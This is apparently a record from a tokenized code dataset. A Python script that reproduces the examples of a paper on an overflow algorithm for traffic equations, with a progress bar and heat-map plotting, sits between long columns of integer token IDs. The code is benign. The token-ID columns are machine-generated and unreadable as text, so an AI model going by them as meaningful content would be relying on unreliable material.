274,
297,
28730,
13,
4706,
4514,
876,
13,
13,
4706,
23216,
29918,
1853,
353,
8783,
29889,
1272,
29961,
479,
290,
29918,
1054,
1822,
479,
290,
29918,
1853,
29889,
309,
542,
29961,
29900,
29962,
13,
4706,
565,
23216,
29918,
1853,
2804,
525,
15329,
5228,
2396,
13,
9651,
565,
17336,
29901,
13,
18884,
736,
8783,
29889,
1272,
29889,
309,
542,
29961,
5727,
29961,
29900,
1402,
28730,
29961,
29900,
5262,
13,
9651,
25342,
1721,
1052,
279,
29898,
5727,
1125,
13,
18884,
4206,
353,
518,
5727,
29962,
13,
9651,
736,
8783,
29889,
1272,
29889,
309,
542,
29961,
5727,
29892,
28730,
29962,
13,
13,
4706,
1737,
4835,
353,
8783,
29889,
1272,
29961,
479,
290,
29918,
1054,
29962,
13,
4706,
2302,
353,
29871,
29900,
13,
4706,
716,
29918,
479,
4835,
29892,
18111,
353,
19997,
5159,
13,
4706,
363,
474,
29892,
23216,
297,
26985,
29898,
479,
4835,
1125,
13,
9651,
3309,
353,
7431,
29898,
479,
290,
29897,
13,
9651,
565,
7442,
29889,
790,
1052,
279,
29898,
5727,
1125,
13,
18884,
565,
2302,
5277,
4206,
529,
313,
2798,
29974,
2848,
1125,
13,
462,
1678,
716,
29918,
479,
4835,
29889,
4397,
29898,
479,
290,
29961,
5727,
29899,
2798,
2314,
13,
462,
1678,
18111,
29889,
4397,
29898,
29875,
29897,
13,
462,
1678,
2867,
13,
9651,
25342,
338,
8758,
29898,
5727,
29892,
22780,
1125,
13,
18884,
565,
4206,
29889,
2962,
338,
451,
6213,
322,
4206,
29889,
2962,
1405,
313,
2798,
29974,
2848,
1125,
13,
462,
1678,
6773,
13,
18884,
25342,
4206,
29889,
9847,
338,
451,
6213,
322,
4206,
29889,
9847,
529,
2302,
29901,
13,
462,
1678,
2867,
13,
18884,
1369,
353,
6213,
565,
4206,
29889,
2962,
338,
6213,
1683,
4236,
29898,
5727,
29889,
2962,
448,
2302,
29892,
29871,
29900,
29897,
13,
18884,
5040,
353,
6213,
565,
4206,
29889,
9847,
338,
6213,
1683,
1375,
29898,
5727,
29889,
9847,
448,
2302,
29892,
3309,
29897,
13,
18884,
565,
4206,
29889,
10568,
338,
451,
6213,
29901,
13,
462,
1678,
8783,
29889,
3207,
29889,
27392,
17350,
309,
542,
4331,
269,
506,
292,
5279,
451,
6969,
363,
29908,
13,
462,
462,
3986,
376,
1552,
2473,
29899,
9456,
848,
3402,
23157,
13,
18884,
18111,
29889,
4397,
29898,
29875,
29897,
13,
18884,
716,
29918,
479,
4835,
29889,
4397,
29898,
479,
290,
29961,
2962,
29901,
9847,
2314,
13,
9651,
25342,
338,
8758,
29898,
5727,
29892,
313,
1761,
29892,
731,
22164,
13,
18884,
1014,
29918,
5727,
353,
17288,
29878,
29899,
2798,
29897,
363,
364,
297,
4206,
565,
2302,
5277,
364,
529,
313,
2798,
29974,
2848,
4638,
13,
18884,
565,
451,
1014,
29918,
5727,
29901,
13,
462,
1678,
6773,
13,
18884,
18111,
29889,
4397,
29898,
29875,
29897,
13,
18884,
716,
29918,
479,
4835,
29889,
4397,
29898,
15329,
5228,
4197,
479,
290,
29961,
29878,
29962,
363,
364,
297,
1014,
29918,
5727,
12622,
13,
9651,
2302,
4619,
3309,
13,
13,
4706,
716,
353,
8783,
29889,
1272,
29889,
309,
542,
29961,
2248,
267,
1822,
8552,
580,
13,
4706,
716,
29961,
479,
290,
29918,
1054,
29962,
353,
1879,
29877,
19204,
29898,
1482,
29918,
479,
4835,
29897,
13,
4706,
736,
716,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
6219,
29898,
25932,
29892,
8783,
29892,
1369,
29892,
1095,
29892,
1418,
23179,
29892,
3579,
19290,
1125,
13,
4706,
704,
1315,
353,
5159,
13,
4706,
921,
6229,
29892,
343,
6229,
353,
8783,
29889,
29895,
6229,
29879,
7503,
29906,
29962,
13,
4706,
565,
451,
7431,
29898,
24713,
29889,
1272,
1125,
13,
9651,
736,
5159,
13,
4706,
1948,
353,
8783,
29889,
1272,
29889,
309,
542,
29961,
29900,
29962,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
3948,
353,
23216,
29918,
517,
29918,
2378,
29898,
798,
29961,
1054,
2314,
13,
4706,
270,
353,
426,
29898,
29916,
6229,
29889,
978,
29892,
343,
6229,
29889,
978,
1125,
3948,
29913,
13,
4706,
270,
29889,
5504,
3319,
27491,
29889,
978,
29901,
1948,
29961,
27491,
29889,
978,
29962,
363,
325,
29881,
297,
8783,
29889,
29894,
6229,
29879,
1800,
13,
4706,
23216,
29918,
1853,
353,
1067,
29879,
29889,
479,
290,
29918,
1853,
29898,
24713,
29897,
13,
4706,
18031,
353,
8783,
29889,
16513,
4197,
29881,
1402,
1418,
23179,
29922,
1839,
4713,
277,
370,
1070,
11287,
13,
4706,
363,
474,
29892,
1948,
297,
8783,
29889,
1272,
29889,
1524,
5727,
7295,
13,
9651,
565,
1418,
23179,
1275,
525,
479,
290,
2396,
13,
18884,
704,
1315,
29889,
4397,
29898,
798,
29961,
1054,
2314,
13,
18884,
6773,
13,
9651,
23216,
353,
1948,
29961,
1054,
29962,
13,
9651,
330,
29873,
353,
23216,
29918,
1853,
470,
679,
29918,
479,
290,
29918,
1853,
29898,
479,
290,
29897,
13,
13,
9651,
3948,
353,
23216,
29918,
517,
29918,
2378,
29898,
479,
290,
29897,
13,
9651,
270,
353,
426,
29916,
6229,
29889,
978,
29901,
3948,
7503,
29892,
29871,
29900,
1402,
343,
6229,
29889,
978,
29901,
3948,
7503,
29892,
29871,
29896,
12258,
13,
9651,
270,
29889,
5504,
3319,
27491,
29889,
978,
29901,
1948,
29961,
27491,
29889,
978,
29962,
363,
325,
29881,
297,
8783,
29889,
29894,
6229,
29879,
1800,
13,
9651,
18031,
29889,
1272,
353,
518,
29881,
29962,
13,
9651,
565,
1418,
23179,
1275,
525,
2378,
2396,
13,
18884,
5446,
353,
18031,
29889,
2378,
29898,
1068,
19290,
29897,
13,
9651,
25342,
1418,
23179,
1275,
525,
1272,
2557,
2396,
13,
18884,
5446,
353,
18031,
29889,
29881,
2557,
29898,
1068,
19290,
29897,
13,
9651,
25342,
1418,
23179,
297,
6702,
13099,
742,
525,
27126,
29374,
13,
18884,
270,
1839,
479,
290,
29918,
1853,
2033,
353,
330,
29873,
13,
18884,
5446,
353,
270,
13,
9651,
25342,
1418,
23179,
338,
6213,
29901,
13,
18884,
5446,
353,
18031,
29889,
16513,
580,
13,
9651,
1683,
29901,
13,
18884,
12020,
7865,
2392,
11702,
29879,
1418,
23179,
451,
2304,
29908,
1273,
1418,
23179,
29897,
13,
9651,
704,
1315,
29889,
4397,
29898,
5415,
29897,
13,
4706,
736,
704,
1315,
13,
13,
13,
1753,
679,
29918,
479,
290,
29918,
1853,
29898,
479,
290,
1125,
13,
1678,
9995,
11609,
29879,
278,
379,
3543,
23825,
16303,
1134,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
23216,
29901,
319,
528,
481,
873,
16303,
13,
13,
1678,
16969,
29901,
13,
4706,
319,
1347,
15783,
1134,
310,
278,
16303,
29889,
13,
1678,
9995,
13,
1678,
515,
528,
481,
873,
29889,
19156,
1053,
313,
13,
4706,
8984,
29892,
7407,
1231,
29892,
2043,
17125,
29892,
17716,
29892,
14974,
5228,
29892,
14974,
7713,
17125,
29892,
14974,
3542,
1231,
13,
1678,
1723,
13,
1678,
565,
338,
8758,
29898,
479,
290,
29892,
313,
5228,
29892,
14974,
5228,
22164,
13,
4706,
736,
525,
5228,
29915,
13,
1678,
25342,
338,
8758,
29898,
479,
290,
29892,
313,
3542,
1231,
29892,
14974,
3542,
1231,
22164,
13,
4706,
736,
525,
3542,
29915,
13,
1678,
25342,
338,
8758,
29898,
479,
290,
29892,
17716,
1125,
13,
4706,
736,
525,
29934,
292,
29915,
13,
1678,
25342,
338,
8758,
29898,
479,
290,
29892,
313,
7713,
17125,
29892,
14974,
7713,
17125,
22164,
13,
4706,
736,
525,
7713,
17125,
29915,
13,
13,
13,
1753,
304,
29918,
479,
459,
7086,
29898,
1272,
29892,
921,
6229,
29892,
343,
6229,
29892,
4341,
11759,
1402,
23216,
2433,
3149,
29374,
13,
1678,
9995,
1168,
369,
1372,
1051,
310,
8600,
3402,
28855,
2722,
304,
18652,
15112,
1196,
28855,
2722,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
848,
29901,
2391,
310,
21503,
4314,
15783,
5375,
28855,
2722,
13,
4706,
921,
6229,
29901,
4408,
310,
921,
29899,
1111,
24266,
1897,
13,
4706,
343,
6229,
29901,
4408,
310,
343,
29899,
1111,
24266,
1897,
13,
4706,
9228,
29901,
26460,
278,
848,
11524,
263,
5764,
9228,
13,
13,
1678,
16969,
29901,
13,
4706,
319,
18652,
15112,
29889,
7999,
29877,
17271,
1873,
310,
278,
848,
13,
1678,
9995,
13,
1678,
515,
1737,
459,
7086,
1053,
1879,
29877,
17271,
13,
1678,
515,
528,
481,
873,
29889,
19156,
1053,
313,
13,
4706,
8984,
29892,
7407,
1231,
29892,
2043,
17125,
29892,
14974,
5228,
29892,
14974,
7713,
17125,
29892,
14974,
3542,
1231,
13,
1678,
1723,
13,
1678,
15680,
353,
738,
877,
5391,
267,
29915,
297,
270,
363,
270,
297,
848,
29897,
470,
23216,
1275,
525,
7713,
17125,
29915,
13,
1678,
565,
15680,
29901,
13,
4706,
2323,
29918,
1853,
29892,
2473,
29918,
1853,
353,
2043,
17125,
29892,
14974,
7713,
17125,
13,
1678,
25342,
23216,
1275,
525,
3542,
2396,
13,
4706,
2323,
29918,
1853,
29892,
2473,
29918,
1853,
353,
7407,
1231,
29892,
14974,
3542,
1231,
13,
1678,
1683,
29901,
13,
4706,
2323,
29918,
1853,
29892,
2473,
29918,
1853,
353,
8984,
29892,
14974,
5228,
13,
13,
1678,
11543,
353,
2322,
8977,
29898,
1761,
29897,
13,
1678,
363,
23216,
29918,
8977,
297,
848,
29901,
13,
4706,
23216,
29918,
8977,
353,
9657,
29898,
479,
290,
29918,
8977,
29897,
13,
4706,
23216,
353,
23216,
29918,
3166,
29918,
8977,
29898,
479,
290,
29918,
8977,
29892,
921,
6229,
29892,
343,
6229,
29892,
2323,
29918,
1853,
29892,
2473,
29918,
1853,
29897,
13,
4706,
363,
274,
29892,
325,
297,
23216,
29918,
8977,
29889,
7076,
7295,
13,
9651,
11543,
29961,
29883,
1822,
4397,
29898,
29894,
29897,
13,
4706,
11543,
1839,
19156,
13359,
4397,
29898,
479,
290,
29897,
13,
13,
1678,
736,
1879,
29877,
17271,
29898,
13441,
287,
29892,
4341,
29922,
1839,
19156,
2033,
29974,
13099,
29897,
13,
13,
13,
1753,
515,
29918,
9910,
29898,
295,
1853,
29892,
848,
29892,
413,
6229,
29879,
29892,
325,
6229,
29879,
1125,
13,
1678,
9995,
1168,
369,
1372,
1051,
21971,
964,
1737,
459,
7086,
29889,
7999,
29877,
17271,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
560,
1853,
29901,
10619,
1134,
304,
3588,
13,
4706,
848,
29901,
450,
2441,
848,
13,
4706,
413,
6229,
29879,
29901,
450,
8052,
1820,
13391,
13,
4706,
325,
6229,
29879,
29901,
450,
8052,
995,
13391,
13,
13,
1678,
16969,
29901,
13,
4706,
319,
1879,
29877,
17271,
6943,
278,
848,
297,
278,
1051,
2729,
3402,
29889,
13,
1678,
9995,
13,
13,
1678,
515,
1737,
459,
7086,
1053,
1879,
29877,
17271,
13,
13,
1678,
716,
29918,
1272,
353,
5159,
13,
1678,
4072,
353,
5159,
13,
1678,
921,
978,
29892,
343,
978,
353,
313,
29895,
29881,
29889,
978,
363,
413,
29881,
297,
413,
6229,
29879,
7503,
29906,
2314,
13,
1678,
363,
270,
297,
848,
29901,
13,
4706,
4072,
29889,
4397,
29898,
1853,
29898,
29881,
876,
13,
4706,
565,
338,
8758,
29898,
29881,
29892,
9657,
1125,
13,
9651,
270,
353,
426,
29895,
29901,
325,
565,
1721,
1052,
279,
29898,
29894,
29897,
1683,
7442,
29889,
294,
2378,
29898,
29894,
29897,
363,
413,
29892,
325,
297,
270,
29889,
7076,
28296,
13,
9651,
716,
29918,
1272,
29889,
4397,
29898,
29881,
29897,
13,
9651,
6773,
13,
4706,
716,
29918,
295,
353,
560,
1853,
29898,
29881,
29892,
413,
6229,
29879,
29892,
325,
6229,
29879,
29897,
13,
4706,
565,
716,
29918,
295,
29889,
13248,
338,
1879,
29877,
29925,
7086,
10448,
29901,
13,
9651,
4072,
14352,
29896,
29962,
353,
1879,
29877,
17271,
13,
9651,
716,
29918,
1272,
29889,
4397,
29898,
1482,
29918,
295,
29889,
1272,
29897,
13,
9651,
6773,
13,
4706,
716,
29918,
8977,
353,
6571,
13,
4706,
363,
270,
297,
716,
29918,
295,
29889,
6229,
5580,
7295,
13,
9651,
565,
270,
297,
313,
29916,
978,
29892,
343,
978,
1125,
13,
18884,
17336,
353,
7700,
13,
9651,
1683,
29901,
13,
18884,
17336,
353,
716,
29918,
295,
29889,
13248,
29889,
790,
1052,
279,
29898,
1482,
29918,
295,
29892,
270,
29897,
13,
9651,
659,
29879,
353,
716,
29918,
295,
29889,
6229,
2673,
29918,
5975,
29898,
29881,
29892,
451,
17336,
29897,
13,
9651,
716,
29918,
8977,
29961,
29881,
29889,
978,
29962,
353,
659,
29879,
29961,
29900,
29962,
565,
17336,
1683,
659,
29879,
13,
4706,
716,
29918,
1272,
29889,
4397,
29898,
1482,
29918,
8977,
29897,
13,
1678,
565,
7431,
29898,
842,
29898,
8768,
876,
1405,
29871,
29896,
29901,
13,
4706,
12020,
3630,
2392,
877,
29924,
11925,
4072,
451,
6969,
1495,
13,
1678,
565,
716,
29918,
1272,
322,
4072,
29961,
29900,
29962,
338,
1879,
29877,
17271,
29901,
13,
4706,
848,
353,
10518,
29889,
17685,
29898,
1482,
29918,
1272,
29897,
13,
1678,
1683,
29901,
13,
4706,
4341,
353,
518,
29881,
29889,
978,
363,
270,
297,
413,
6229,
29879,
29974,
29894,
6229,
29879,
565,
270,
451,
297,
313,
29916,
978,
29892,
343,
978,
4638,
13,
4706,
23216,
353,
1879,
29877,
29925,
7086,
10448,
29889,
479,
290,
29918,
1853,
29898,
295,
1853,
29897,
13,
4706,
565,
451,
7431,
29898,
1272,
1125,
13,
9651,
736,
1879,
29877,
17271,
4197,
1402,
4341,
29922,
1839,
19156,
2033,
29974,
13099,
29897,
13,
4706,
848,
353,
304,
29918,
479,
459,
7086,
29898,
1482,
29918,
1272,
29892,
921,
978,
29892,
343,
978,
29892,
4341,
29892,
23216,
29897,
13,
1678,
736,
848,
13,
13,
13,
10448,
29889,
9573,
29898,
7999,
29877,
29925,
7086,
10448,
29897,
13,
16390,
24541,
29889,
4130,
23179,
353,
13373,
24541,
29889,
4130,
23179,
29974,
1839,
479,
397,
532,
2557,
2033,
13,
2605,
29889,
4130,
23179,
353,
10802,
29889,
4130,
23179,
29974,
1839,
479,
397,
532,
2557,
2033,
13,
2
] |
experiments.py | hmjansen/overflow-algorithm | 0 | 127004 | """Code used to create the examples in the overflow paper.
This module contains the code used to create the examples in the paper at
https://arxiv.org/pdf/2001.09611v1, referred to as the overflow paper.
Execute this module as a script to reproduce the examples. The code has been
tested using Python 3.5.2, NumPy 1.11.1, and SciPy 0.18.1 via the
Anaconda 4.2.0 (64-bit) installation.
"""
import matplotlib.pyplot as plt
import numpy as np
from create_overflow_networks import square_network_example
from create_overflow_networks import worst_case_example
from overflow_algorithm import solve_overflow_traffic_equation
def progress_bar(i, n, width=20):
"""Provides a simple progress bar.
Visualizes the how many iterations of a loop have been completed. Does not
take actual or estimated remaining computation time into account.
Args:
i: Number of iterations of the loop that are completed.
n: Total number of iterations of the loop.
width: The number of characters used to visualize the progress.
"""
STRING_L = "X"
STRING_R = "."
frac = int(np.floor((i / n) * width))
str_l = STRING_L * frac
str_r = STRING_R * (width - frac)
print("\rSolving: [" + str_l + str_r + "]", end="")
def square_network_overflow_plot(m, grid_nr, show_progress=False):
"""Creates a heat map as in Example 1 of the overflow paper.
First defines a grid of parameter values for the delta and epsilon
parameters of the family of networks presented in Example 1. Computes the
solution to the overflow equation for each pair of parameters delta and
epsilon and determines the fraction of overflowing nodes for that pair.
Plots a heat map of these fractions.
Args:
m: Number of cells for the network of Example 1.
grid_nr: Number of parameter values used for each parameter not
including 0.0. The grid consists of grid_nr + 1 evenly spaced
points in [0, 1] with end points 0.0 and 1.0.
show_progress: Indicates whether a progress bar is shown.
"""
n = 4*(m**2)
alpha = np.zeros(n)
alpha[0] = n
mu = np.zeros(n) + 1.0
grid_nr = grid_nr + 1
delta_space = np.linspace(0, 1.0, grid_nr)
epsilon_space = np.linspace(0, 1.0, grid_nr)
overflow_proportion = np.zeros([grid_nr, grid_nr])
if show_progress:
print("")
for i in range(grid_nr):
for j in range(grid_nr):
delta = delta_space[i]
epsilon = epsilon_space[j]
alpha, mu, P, Q = square_network_example(m, delta, epsilon)
sol = solve_overflow_traffic_equation(alpha, mu, P, Q)
overflow_proportion[i, j] = sum(sol >= mu) / n
if show_progress:
progress_bar(i * grid_nr + (j + 1), grid_nr**2)
if show_progress:
print("")
# Plot results.
# Set font sizes for plots.
SMALL_FONT = 8
MEDIUM_FONT = 18
LARGE_FONT = 22
plt.rc('font', size=SMALL_FONT) # Default text font size
plt.rc('axes', titlesize=MEDIUM_FONT) # Axes titles font size
plt.rc('axes', labelsize=LARGE_FONT) # Axes lables font size
plt.rc('xtick', labelsize=MEDIUM_FONT) # xtick lables font size
plt.rc('ytick', labelsize=MEDIUM_FONT) # ytick lables font size
plt.rc('legend', fontsize=MEDIUM_FONT) # legend font size
plt.rc('figure', titlesize=MEDIUM_FONT) # Figure title font size
# Flip the matrix for better plotting of the vertical axis.
overflow_proportion = np.flipud(overflow_proportion)
fig = plt.figure()
ax = fig.add_subplot(111)
im = ax.matshow(overflow_proportion)
# Set ticks at horizontal and vertical axes;
# the yticks are flipped to correspond with the flipped matrix.
ticks_max = 6
ticks_step = np.floor((grid_nr - 1) / (ticks_max - 1))
ticks_index = np.arange(start=0, stop=grid_nr, step=ticks_step, dtype=int)
ax.set_xticks(ticks_index)
ax.set_yticks(np.flipud(ticks_index))
# Label ticks with the corresponding values.
delta_labels = [delta_space[i] for i in ticks_index]
epsilon_labels = [epsilon_space[i] for i in ticks_index]
ax.set_xticklabels(delta_labels)
ax.set_yticklabels(epsilon_labels)
# Show ticks on horizontal axis at the bottom.
ax.tick_params(axis="x", bottom=True, top=False,
labelbottom=True, labeltop=False)
# Set x label and y label.
plt.xlabel("$\delta$")
plt.ylabel("$\epsilon$")
# Plot the figure.
fig.colorbar(im)
plt.show()
if __name__ == "__main__":
show_progress = True # Progress bar will be shown if True
# Number of grid points used for the parameter space of the square network.
# Choose grid_nr >= 1.
# Step size is 1 / grid_nr for a total number of 1 + grid_nr grid points.
grid_nr = 100
# Number of blocks in the horizontal direction of the square network.
# Choose m >= 2.
m = 3
# Run the square network example with m = 3.
square_network_overflow_plot(m, grid_nr, show_progress)
# Run the square network example with m = 5.
m = 5
square_network_overflow_plot(m, grid_nr, show_progress)
# Check that the worst case examples indeed require the maximum number of
# iterations of the overflow algorithm.
n = 75
results = np.zeros(n)
if show_progress:
print("")
for i in range(1, n + 1):
alpha, mu, P, Q = worst_case_example(i)
x = solve_overflow_traffic_equation(alpha, mu, P, Q, count=True)
labda, solve_count, max_count = x
results[i - 1] = (solve_count == max_count)
if show_progress:
progress_bar(i, n)
if show_progress:
print("")
if results.all(): # Every solve_count == max_count
print("All solutions required the maximum number of iterations.")
else:
print("At least one solution required less than the maximum number " +
"of iterations.")
| [
1,
9995,
3399,
1304,
304,
1653,
278,
6455,
297,
278,
11969,
5650,
22993,
13,
30004,
13,
4013,
3883,
3743,
278,
775,
1304,
304,
1653,
278,
6455,
297,
278,
5650,
472,
30004,
13,
991,
597,
279,
26560,
29889,
990,
29914,
5140,
29914,
29906,
29900,
29900,
29896,
29889,
29900,
29929,
29953,
29896,
29896,
29894,
29896,
29892,
12992,
304,
408,
278,
11969,
5650,
22993,
13,
12296,
445,
3883,
408,
263,
2471,
304,
18532,
278,
6455,
29889,
450,
775,
756,
1063,
30004,
13,
1688,
287,
773,
5132,
29871,
29941,
29889,
29945,
29889,
29906,
29892,
11848,
19737,
29871,
29896,
29889,
29896,
29896,
29889,
29896,
29892,
322,
5636,
19737,
29871,
29900,
29889,
29896,
29947,
29889,
29896,
3025,
278,
30004,
13,
29909,
1056,
18050,
29871,
29946,
29889,
29906,
29889,
29900,
313,
29953,
29946,
29899,
2966,
29897,
11161,
22993,
13,
15945,
19451,
13,
30004,
13,
30004,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
30004,
13,
5215,
12655,
408,
7442,
30004,
13,
3166,
1653,
29918,
2262,
29918,
11618,
29879,
1053,
6862,
29918,
11618,
29918,
4773,
30004,
13,
3166,
1653,
29918,
2262,
29918,
11618,
29879,
1053,
17322,
29918,
4878,
29918,
4773,
30004,
13,
3166,
11969,
29918,
20567,
1053,
4505,
29918,
2262,
29918,
3018,
2416,
29918,
2573,
30004,
13,
30004,
13,
30004,
13,
1753,
6728,
29918,
1646,
29898,
29875,
29892,
302,
29892,
2920,
29922,
29906,
29900,
1125,
30004,
13,
1678,
9995,
1184,
29894,
2247,
263,
2560,
6728,
2594,
22993,
13,
30004,
13,
1678,
9249,
7093,
278,
920,
1784,
24372,
310,
263,
2425,
505,
1063,
8676,
29889,
5538,
451,
30004,
13,
1678,
2125,
3935,
470,
15899,
9886,
16287,
931,
964,
3633,
22993,
13,
30004,
13,
1678,
826,
3174,
29901,
30004,
13,
4706,
474,
29901,
9681,
310,
24372,
310,
278,
2425,
393,
526,
8676,
22993,
13,
4706,
302,
29901,
14990,
1353,
310,
24372,
310,
278,
2425,
22993,
13,
4706,
2920,
29901,
450,
1353,
310,
4890,
1304,
304,
7604,
675,
278,
6728,
22993,
13,
1678,
9995,
30004,
13,
1678,
29486,
4214,
29918,
29931,
353,
376,
29990,
19451,
13,
1678,
29486,
4214,
29918,
29934,
353,
376,
1213,
30004,
13,
1678,
285,
945,
353,
938,
29898,
9302,
29889,
14939,
3552,
29875,
847,
302,
29897,
334,
2920,
876,
30004,
13,
1678,
851,
29918,
29880,
353,
29486,
4214,
29918,
29931,
334,
285,
945,
30004,
13,
1678,
851,
29918,
29878,
353,
29486,
4214,
29918,
29934,
334,
313,
2103,
448,
285,
945,
8443,
13,
1678,
1596,
14182,
29878,
13296,
1747,
29901,
6796,
718,
851,
29918,
29880,
718,
851,
29918,
29878,
718,
376,
29962,
613,
1095,
543,
1159,
30004,
13,
30004,
13,
30004,
13,
1753,
6862,
29918,
11618,
29918,
2262,
29918,
5317,
29898,
29885,
29892,
6856,
29918,
22230,
29892,
1510,
29918,
18035,
29922,
8824,
1125,
30004,
13,
1678,
9995,
9832,
1078,
263,
12871,
2910,
408,
297,
8741,
29871,
29896,
310,
278,
11969,
5650,
22993,
13,
30004,
13,
1678,
3824,
17645,
263,
6856,
310,
3443,
1819,
363,
278,
19471,
322,
321,
3232,
30004,
13,
1678,
4128,
310,
278,
3942,
310,
14379,
9132,
297,
8741,
29871,
29896,
29889,
11796,
267,
278,
30004,
13,
1678,
1650,
304,
278,
11969,
6306,
363,
1269,
5101,
310,
4128,
19471,
322,
30004,
13,
1678,
321,
3232,
322,
3683,
1475,
278,
15958,
310,
11969,
292,
7573,
363,
393,
5101,
22993,
13,
1678,
1858,
1862,
263,
12871,
2910,
310,
1438,
5227,
1953,
22993,
13,
30004,
13,
1678,
826,
3174,
29901,
30004,
13,
4706,
286,
29901,
9681,
310,
9101,
363,
278,
3564,
310,
8741,
29871,
29896,
22993,
13,
4706,
6856,
29918,
22230,
29901,
9681,
310,
3443,
1819,
1304,
363,
1269,
3443,
451,
30004,
13,
9651,
3704,
29871,
29900,
29889,
29900,
29889,
450,
6856,
11624,
310,
6856,
29918,
22230,
718,
29871,
29896,
1584,
368,
26325,
287,
30004,
13,
9651,
3291,
297,
518,
29900,
29892,
29871,
29896,
29962,
411,
1095,
3291,
29871,
29900,
29889,
29900,
322,
29871,
29896,
29889,
29900,
22993,
13,
4706,
1510,
29918,
18035,
29901,
1894,
293,
1078,
3692,
263,
6728,
2594,
338,
4318,
22993,
13,
1678,
9995,
30004,
13,
1678,
302,
353,
29871,
29946,
16395,
29885,
1068,
29906,
8443,
13,
1678,
15595,
353,
7442,
29889,
3298,
359,
29898,
29876,
8443,
13,
1678,
15595,
29961,
29900,
29962,
353,
302,
30004,
13,
1678,
3887,
353,
7442,
29889,
3298,
359,
29898,
29876,
29897,
718,
29871,
29896,
29889,
29900,
30004,
13,
1678,
6856,
29918,
22230,
353,
6856,
29918,
22230,
718,
29871,
29896,
30004,
13,
1678,
19471,
29918,
3493,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
6856,
29918,
22230,
8443,
13,
1678,
321,
3232,
29918,
3493,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
6856,
29918,
22230,
8443,
13,
1678,
11969,
29918,
771,
637,
291,
353,
7442,
29889,
3298,
359,
4197,
7720,
29918,
22230,
29892,
6856,
29918,
22230,
2314,
30004,
13,
1678,
565,
1510,
29918,
18035,
29901,
30004,
13,
4706,
1596,
703,
1159,
30004,
13,
1678,
363,
474,
297,
3464,
29898,
7720,
29918,
22230,
1125,
30004,
13,
4706,
363,
432,
297,
3464,
29898,
7720,
29918,
22230,
1125,
30004,
13,
9651,
19471,
353,
19471,
29918,
3493,
29961,
29875,
29962,
30004,
13,
9651,
321,
3232,
353,
321,
3232,
29918,
3493,
29961,
29926,
29962,
30004,
13,
9651,
15595,
29892,
3887,
29892,
349,
29892,
660,
353,
6862,
29918,
11618,
29918,
4773,
29898,
29885,
29892,
19471,
29892,
321,
3232,
8443,
13,
9651,
899,
353,
4505,
29918,
2262,
29918,
3018,
2416,
29918,
2573,
29898,
2312,
29892,
3887,
29892,
349,
29892,
660,
8443,
13,
9651,
11969,
29918,
771,
637,
291,
29961,
29875,
29892,
432,
29962,
353,
2533,
29898,
2929,
6736,
3887,
29897,
847,
302,
30004,
13,
9651,
565,
1510,
29918,
18035,
29901,
30004,
13,
18884,
6728,
29918,
1646,
29898,
29875,
334,
6856,
29918,
22230,
718,
313,
29926,
718,
29871,
29896,
511,
6856,
29918,
22230,
1068,
29906,
8443,
13,
1678,
565,
1510,
29918,
18035,
29901,
30004,
13,
4706,
1596,
703,
1159,
30004,
13,
30004,
13,
1678,
396,
18399,
2582,
22993,
13,
1678,
396,
3789,
4079,
15786,
363,
24580,
22993,
13,
1678,
317,
1529,
2208,
29918,
29943,
1164,
29911,
353,
29871,
29947,
30004,
13,
1678,
341,
3352,
29902,
5005,
29918,
29943,
1164,
29911,
353,
29871,
29896,
29947,
30004,
13,
1678,
365,
1718,
1692,
29918,
29943,
1164,
29911,
353,
29871,
29906,
29906,
30004,
13,
1678,
14770,
29889,
2214,
877,
5657,
742,
2159,
29922,
29903,
1529,
2208,
29918,
29943,
1164,
29911,
29897,
29871,
396,
13109,
1426,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
1165,
267,
742,
17735,
675,
29922,
2303,
4571,
5005,
29918,
29943,
1164,
29911,
29897,
29871,
396,
319,
9100,
17735,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
1165,
267,
742,
3858,
2311,
29922,
29931,
1718,
1692,
29918,
29943,
1164,
29911,
29897,
29871,
396,
319,
9100,
301,
1849,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
486,
860,
742,
3858,
2311,
29922,
2303,
4571,
5005,
29918,
29943,
1164,
29911,
29897,
29871,
396,
29871,
486,
860,
301,
1849,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
3637,
860,
742,
3858,
2311,
29922,
2303,
4571,
5005,
29918,
29943,
1164,
29911,
29897,
29871,
396,
343,
24667,
301,
1849,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
26172,
742,
4079,
2311,
29922,
2303,
4571,
5005,
29918,
29943,
1164,
29911,
29897,
29871,
396,
15983,
4079,
2159,
30004,
13,
1678,
14770,
29889,
2214,
877,
4532,
742,
17735,
675,
29922,
2303,
4571,
5005,
29918,
29943,
1164,
29911,
29897,
29871,
396,
11479,
3611,
4079,
2159,
30004,
13,
30004,
13,
1678,
396,
383,
3466,
278,
4636,
363,
2253,
6492,
1259,
310,
278,
11408,
9685,
22993,
13,
1678,
11969,
29918,
771,
637,
291,
353,
7442,
29889,
29888,
3466,
566,
29898,
2262,
29918,
771,
637,
291,
8443,
13,
30004,
13,
1678,
2537,
353,
14770,
29889,
4532,
26471,
13,
1678,
4853,
353,
2537,
29889,
1202,
29918,
1491,
5317,
29898,
29896,
29896,
29896,
8443,
13,
1678,
527,
353,
4853,
29889,
2922,
4294,
29898,
2262,
29918,
771,
637,
291,
8443,
13,
30004,
13,
1678,
396,
3789,
260,
7358,
472,
14698,
322,
11408,
27815,
2104,
13,
1678,
396,
278,
343,
29873,
7358,
526,
285,
492,
2986,
304,
3928,
411,
278,
285,
492,
2986,
4636,
22993,
13,
1678,
260,
7358,
29918,
3317,
353,
29871,
29953,
30004,
13,
1678,
260,
7358,
29918,
10568,
353,
7442,
29889,
14939,
3552,
7720,
29918,
22230,
448,
29871,
29896,
29897,
847,
313,
29873,
7358,
29918,
3317,
448,
29871,
29896,
876,
30004,
13,
1678,
260,
7358,
29918,
2248,
